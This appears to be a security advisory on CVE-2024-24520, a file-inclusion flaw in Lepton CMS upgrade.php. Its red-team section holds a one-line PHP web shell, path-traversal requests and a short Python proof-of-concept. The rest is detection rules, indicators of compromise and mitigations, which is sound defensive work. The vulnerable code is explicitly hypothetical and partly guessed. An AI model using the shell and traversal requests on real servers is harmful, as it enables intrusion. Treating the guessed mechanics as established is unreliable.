CVE-2024-24520

Executive Summary

CVE-2024-24520 is a critical security vulnerability identified in Lepton CMS version 7.0.0. The flaw resides in the upgrade.php file, specifically within the language handling mechanism. A local attacker can exploit this issue to execute arbitrary code on the server. The vulnerability stems from improper sanitization of language parameters, allowing an attacker to inject and execute malicious PHP code. Given the "UNKNOWN / UNPATCHED" status, systems running this version are at high risk. The EPSS score of 0.0% suggests low exploitation activity in the wild, but the public availability of the vulnerability details increases the risk of targeted attacks.

Supply Chain & Package Security

Lepton CMS is a PHP-based content management system. The vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a direct code-level flaw in the application's core files. Organizations using Lepton CMS should treat this as a critical supply chain risk if they have integrated or forked the project.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder or uncalculated. Based on the vulnerability description (local attacker, arbitrary code execution), a reasonable CVSS v3.1 vector would be:

• Attack Vector (AV): Local (L) - Requires local access to the server.
• Attack Complexity (AC): Low (L) - No special conditions.
• Privileges Required (PR): Low (L) - Attacker needs some level of access (e.g., authenticated user).
• User Interaction (UI): None (N) - No user action required.
• Scope (S): Unchanged (U) - Vulnerability does not affect other components.
• Confidentiality (C): High (H) - Full system compromise possible.
• Integrity (I): High (H) - Full system compromise possible.
• Availability (A): High (H) - Full system compromise possible.

Estimated CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H Estimated Base Score: 7.8 (High)

Threat Level: High. The ability to execute arbitrary code with low privileges is a severe risk, especially if the attacker can escalate privileges or pivot to other systems.

Deep Dive & Mechanics

The vulnerability is located in the upgrade.php file, which is part of the Lepton CMS upgrade mechanism. The file likely processes language files or parameters during the upgrade process. The core issue is a failure to properly sanitize input used in file inclusion or code execution functions.

Root Cause Analysis:

1. The upgrade.php script accepts a language parameter (e.g., lang or similar).
2. This parameter is used to construct a file path for language-specific upgrade scripts.
3. The input is not sanitized, allowing path traversal or direct inclusion of arbitrary files.
4. An attacker can inject PHP code into a file (e.g., via a previously uploaded file or a writable directory) and then include it via the language parameter.
5. Alternatively, the attacker might be able to inject code directly into the parameter if it is passed to eval(), include(), or require() without proper filtering.

Attack Flow:

1. Attacker gains local access (e.g., via a compromised user account or another vulnerability).
2. Attacker uploads a malicious PHP file to a writable directory (e.g., /tmp/ or /uploads/).
3. Attacker crafts a request to upgrade.php with a language parameter pointing to the malicious file (e.g., ?lang=../../../../tmp/malicious).
4. The server includes and executes the malicious PHP code.
5. Attacker achieves arbitrary code execution.

Vulnerable vs. Patched Code

Since no patch is available, we can only analyze the vulnerable code pattern.

Vulnerable Code (Hypothetical):

// upgrade.php
$lang = $_GET['lang'];
include("languages/" . $lang . "/upgrade.php");

Patched Code (Hypothetical):

// upgrade.php
$lang = $_GET['lang'];
$allowed_langs = ['en', 'fr', 'de', 'es']; // Whitelist
if (in_array($lang, $allowed_langs)) {
    include("languages/" . $lang . "/upgrade.php");
} else {
    die("Invalid language.");
}

The patched version uses a whitelist to restrict the language parameter to predefined values, preventing path traversal and arbitrary file inclusion.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Local access to the Lepton CMS server (e.g., authenticated user).
• Ability to write files to a directory (e.g., /tmp/ or a writable uploads folder).

Exploit Steps:

1. Upload Malicious Payload: Create a PHP web shell and upload it to a writable directory. For example, using a file upload feature or direct write access.

   // shell.php
   <?php system($_GET['cmd']); ?>
   

   Upload to /var/www/html/uploads/shell.php.

2. Trigger the Vulnerability: Send a crafted request to upgrade.php:

   GET /upgrade.php?lang=../../uploads/shell HTTP/1.1
   Host: target.com
   

   Note: The .php extension is omitted if the include() function adds it automatically.

3. Execute Commands: Once the shell is included, execute commands:

   GET /upgrade.php?lang=../../uploads/shell&cmd=id HTTP/1.1
   Host: target.com
   

Proof of Concept (PoC) Script:

import requests

target = "http://target.com/upgrade.php"
payload = {"lang": "../../uploads/shell", "cmd": "id"}
response = requests.get(target, params=payload)
print(response.text)

Blue Team (Defensive)

Detection:

• Monitor for unusual GET requests to upgrade.php with suspicious lang parameters (e.g., containing ../, %00, or absolute paths).
• Alert on file inclusion attempts from non-standard directories.
• Monitor for file uploads to writable directories followed by requests to upgrade.php.

Mitigation:

• Immediately restrict access to upgrade.php via .htaccess or web server configuration (e.g., allow only specific IPs).
• Disable the upgrade functionality if not needed.
• Apply input validation and whitelisting for the lang parameter.
• Use a Web Application Firewall (WAF) to block path traversal patterns.

Indicators of Compromise (IOCs)

File-Based IOCs:

• Unexpected files in /tmp/, /uploads/, or other writable directories (e.g., shell.php, cmd.php).
• Modified upgrade.php file (check for backdoors).

Network-Based IOCs:

• HTTP requests to upgrade.php with lang parameter containing ../ or %2e%2e%2f.
• Outbound connections from the web server to unknown IPs (if the shell is used for C2).

Log-Based IOCs:

• Web server logs showing upgrade.php accessed with unusual parameters.
• PHP error logs showing failed includes or warnings about file paths.

Detection Engineering

YARA Rule

rule CVE_2024_24520_Lepton_CMS_File_Inclusion {
    meta:
        description = "Detects exploitation attempts of CVE-2024-24520 in Lepton CMS"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-24520"
    strings:
        $s1 = "upgrade.php" nocase
        $s2 = "lang=" nocase
        $s3 = "../" nocase
        $s4 = "..\\" nocase
        $s5 = "%2e%2e%2f" nocase
    condition:
        $s1 and $s2 and ($s3 or $s4 or $s5)
}

Sigma Rule

title: CVE-2024-24520 Lepton CMS File Inclusion Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit a file inclusion vulnerability in Lepton CMS upgrade.php
author: Valters IT
date: 2024/01/01
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem: '/upgrade.php'
        cs-uri-query|contains: 
            - 'lang=../'
            - 'lang=..\\'
            - 'lang=%2e%2e%2f'
    condition: selection
falsepositives:
    - Legitimate use of path traversal in other contexts (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-24520 Lepton CMS File Inclusion Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/upgrade.php"; http_uri; content:"lang="; http_uri; pcre:"/lang=[^&]*\.\.\//i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate Affected Systems: If possible, disconnect the Lepton CMS server from the network until a patch is applied.
2. Restrict Access: Use .htaccess or firewall rules to limit access to upgrade.php to only trusted IPs.
3. Disable Upgrade Functionality: If not needed, remove or rename upgrade.php.

Long-Term Fix:

• Apply Input Validation: Implement a whitelist for the lang parameter.
• Use Secure Coding Practices: Avoid dynamic file inclusion based on user input.
• Monitor for Patches: Subscribe to Lepton CMS security advisories for an official patch.

Workaround:

• Modify upgrade.php to only accept predefined language values:

  $allowed_langs = ['en', 'fr', 'de', 'es'];
  if (!in_array($_GET['lang'], $allowed_langs)) {
      die("Invalid language.");
  }
  

Valters IT